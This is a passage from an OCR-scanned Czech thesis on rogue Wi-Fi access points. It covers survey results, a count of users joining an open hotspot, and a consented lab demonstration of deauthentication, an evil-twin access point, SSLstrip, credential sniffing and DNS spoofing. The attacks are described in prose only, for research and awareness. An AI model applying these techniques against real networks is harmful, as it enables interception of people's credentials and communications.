testovani bylo soucasné 9 aktivnich Wi-Fi siti Z toho dvé nezabezpecené, se pii prvnim
pokusu pfipojilo 11 uzivateli a pfi druhém 5.

Za celé dvé hodiny testovani se celkem ptipojilo 28 uZzivateld, ktefi se vystavili

potencionalnimu riziku odposlechnuti.

5.3 Verejna anketa

Cilem ankety bylo zjistit, jak lidé nakladaji s Wi-Fi sitémi na vetejnosti a jakou
maji predstavu o nebezpeci, které¢ jim zde mize hrozit. Prioritné jsem chtél zjistit,
k ¢emu jsou schopni vefejnou sit’ vyuzit. Jako posledni mé zajimala statistika vyuzivani
Wi-Fi v oteviené podob¢ a povoleni funkce automatického pfipojovani na znamé site.

Celkem jsem ziskal 69 vyplnénych dotaznikli, kdy se 52% respondenti
hodnotilo jako béZny uZivatel bez znalosti IT, 23% s pokrocilymi znalostmi a 25% se
znalostmi na vysoké urovni.

Na otazku jestli jako klienti vefejnych siti vnimaji nebezpeci, odpovédelo 16%,
ze 74dna rizika nevnimaji, zbytek 84% opacné.

Dalsi otdzkou jsem se ptal, kde vSude vyuzivaji Wi-Fi sit. 35% dotazanych
odpovédélo, ze ji vyuzivaji jak doma, tak na vefejnosti.

Zajimava statistika vySla z otazky, jaké operace uzivatelé provadi Vv ramci
vetejné sité. Vetejné sité jsou nejvice vyuzivany na e-mail, bézné surfovani a socialni
sité, kdy takto odpovédélo 70% dotazanych. Piesné¢ 9% respondentii bézné provadi
bankovni transakce, kdy se vSichni tito uzivatelé hodnotili téZ jako zkuSeni uZivatelé se

znalostmi v IT.
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Pouze 10% dotdzanych odpovédélo, ze vefejné sit¢ nevyuzivaji vibec. Tito
dotazani se hodnotili téZ jako zkuSeni a znaly uzivatelé. Téchto 10% dotdzanych bylo
nejopatrné€jsi v otdzce ohledné zabezpeceni domaci sité, kdy méli vSichni zabezpeceni
WPA2. 57% z nich se v historii pfipojilo na vefejnou sit, ale vSichni si ji poté ze
seznamu ulozenych smazali.

Dalsi otdzku jsem sméroval na vyuzivani otevienych Wi-Fi siti. Zde mi
odpovédélo 77% respondentt, Ze tyto sité¢ vyuzivaji vzdy a sit’ si ponechdvaji v seznamu
uloZenych siti.

Posledni otazkou jsem se ptal na povoleni funkce automatického pripojovani na
znamé Wi-Fi sité¢. Kdy mi 70% dotdzanych potvrdilo vyuzivani této funkce, 25% ji ma

zakéazanou a zbylych 5% nevédélo.
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Z.avér

Cilem této prace bylo udélat prizkum metod, kterymi se mize to¢nik dostat
V bezdratové komunikaci do stavu man-in-the-middle, konkrétn¢ skrze podvrzeny
pristupovy bod. Pro takové pocinani musi utocnik znat SSID a typ zabezpecCeni
konkrétniho pfistupového bodu. V ptipad€, kdy je AP zabezpeCen heslem, musi jej
utocnik pro identickou konfiguraci zjistit. S dnesSni rychlosti pfipojeni je utocnik
schopen odposlechnout dostatecné mnozstvi paketd pro vyuziti statistického utoku na
zabezpeéeni typu WEP a zjistit konkrétni heslo. U WPA/WPA2 musi heslo zjistit
naptiklad pomoci slovnikovych utokl. Poté, co uto¢nik zné spravnou konfiguraci, miize
piistoupit k deasociaci ze stavajiciho AP. Skrze deautentiza¢ni pakety odpoji uzivatele
ze stavajiciho pristupového bodu, kdy uzivatel zaéne opétovné vyhledavat lukrativni
pfipojeni, které mu uto¢nik poskytne. Utoénik zpravidla vyuziva silnou anténu, aby
vykazoval nejidealngj$i podminky pfipojeni. V piipadé, ze uto¢nik neni schopen
prolomit heslo, ma moznost vyuziti uloZenych nezabezpeCenych siti na cileném
zatizeni. Uzivatelé maji Casto funkci automatického piipojovani povolenou, dle mého
prizkumu vyslo 70% ze vSech dotazanych.

V teoretické ¢asti jsem zjistil, jakym zplsobem se uto¢nik stane prostfednikem
v komunikaci. Dale jsem zjistoval, jaké skody z takové pozice mize napachat. Zjistil
jsem, ze veskera neSifrovana komunikace je pro uto¢nika snadno ¢itelna. Naopak pro
odhaleni Sifrované komunikace musi Uto¢nik pouzit néjakou metodu. Muize pouzit
napiiklad nastroj SSLstrip, kde uto¢nik rozdéli komunikaci na Sifrovanou a
nesifrovanou ¢ast. S uzivatelem potom udrzuje spojeni HTTP a se serverem HTTPs.
Veskery komunika¢ni tok je celou dobu delegovan uto¢nikem a je samoziejmé v Citelné
forme.

DalS§im cilem bylo takovéto pocinani zhodnotit z pohledu legislativniho a
navrhnout mozné provedeni v ramci Ceské legislativy. Zjistil jsem, Ze utoénik porusuje
zejména paragrafy 181, 182, 230 a 231 trestniho zdkoniku. Tyto paragrafy jasné
definuji, Ze nelze vyuzivat nevédomost uzivatelli, nelze umyslné monitorovat
elektronickou komunikaci a potom samoziejm¢ ani nelze opatfovat piistupové udaje
uzivatelil. Jediné mozné provedeni je podle §30 Svoleni poskozeného, kdy uzivatel dava

ke svoleni takového pocinani. Jediné testovani, které jsem provedl ve vefejnych
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prostorech, bylo statistické testovani. Zde jsem vytvofil nezabezpeceny piistupovy bod
bez pfipojeni k internetu a zaznamenaval jsem pocet uzivatell, ktefi si dovoli na
takovou sit’ ptipojit. Za dvé hodiny testovani na dvou mistech se na m¢ piipojilo celkem
28 uzivateld.

V praktické ¢asti jsem s pfedem domluvenou skupinou lidi testoval situaci, kdy
byli uzivatelé pfipojeni na jejich pfistupovém bod€. Béhem vtefiny Se mi snadno
podatilo odpojit vSechny uzivatele pomoci deautentizacniho ttoku. Poté se uzivatelé
zacali asociovat s mym podvrzenym piistupovym bodem se stejnym SSID. Uzivatelim
jsem ftekl, aby zadali vymyslené piistupové udaje nejdiiv na nesifrovaném webu, kdy
jsem pies Wireshark odposlechl pfistupové udaje. Podatfilo se mi demonstrovat utok
SSLstrip na Sifrovanou komunikaci, kdy jsem uzivatelim ftekl, at’ pfejdou na stranku
moodle.ef.jcu.cz a zadaji do logovaciho panelu dal§i vymyslené udaje, které se mi také
podatilo odposlechnout. Nikdo ze zucastnénych si nevs§iml, Ze v URL adrese bylo http
misto https. Jediné co bylo ziejmé, bylo vyrazné zpomaleni piipojeni. Usp&sné jsem
také otestoval DNSspoofing, kdy jsem ptesméroval komunikaci z doménové adresy
facebook.com na IP adresu vlastniho Apache serveru. Tento typ Gitoku se da pouzit i pro
odchyceni autentizanich udaji, kdy uto¢nik vytvotfi kopii originalni stranky
S logovacim panelem.

Z dotaznikd mi vysli nejhtii paradoxné uzivatelé, ktefi se hodnotili jako znaly
v IT oboru. Tito uzivatelé provadéji procentualné vic rizikovych operaci nez bé&zni
uzivatelé. Navic pfevazujici pocet z nich vyuZziva automatického pfipojovani na znamé
sit¢ a pritom si nechavaji vSechny historicky pfipojené sité¢ v seznamu. Vzhledem
ke zjisténi ze statistické simulace a dotazniku se potvrdilo, Ze je tato problematika velmi

aktualni a mélo by se ji vénovat pozornosti.
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AP
SSID
WPA
WEP
DOS
TKIP
PSK
EAP
MAC
DNS
SSL
TLS
SSID

Access point

Service Set Identifier

Wi-Fi Protected Access

Wired Equivalent Privacy
Denial of Service

Temporal Key Integrity Protocol
Pre Shared Key

Extensible Authentication Protocol
Media Access Control

Domain Name Systém

Secure Sockets Layer

Transport Layer Security
Service Set Identifier
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Priloha ¢. 1 Ukazka webu seznam.cz pod SSLstrippem
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Priloha €. 2 Fotografie vlastniho zarizeni
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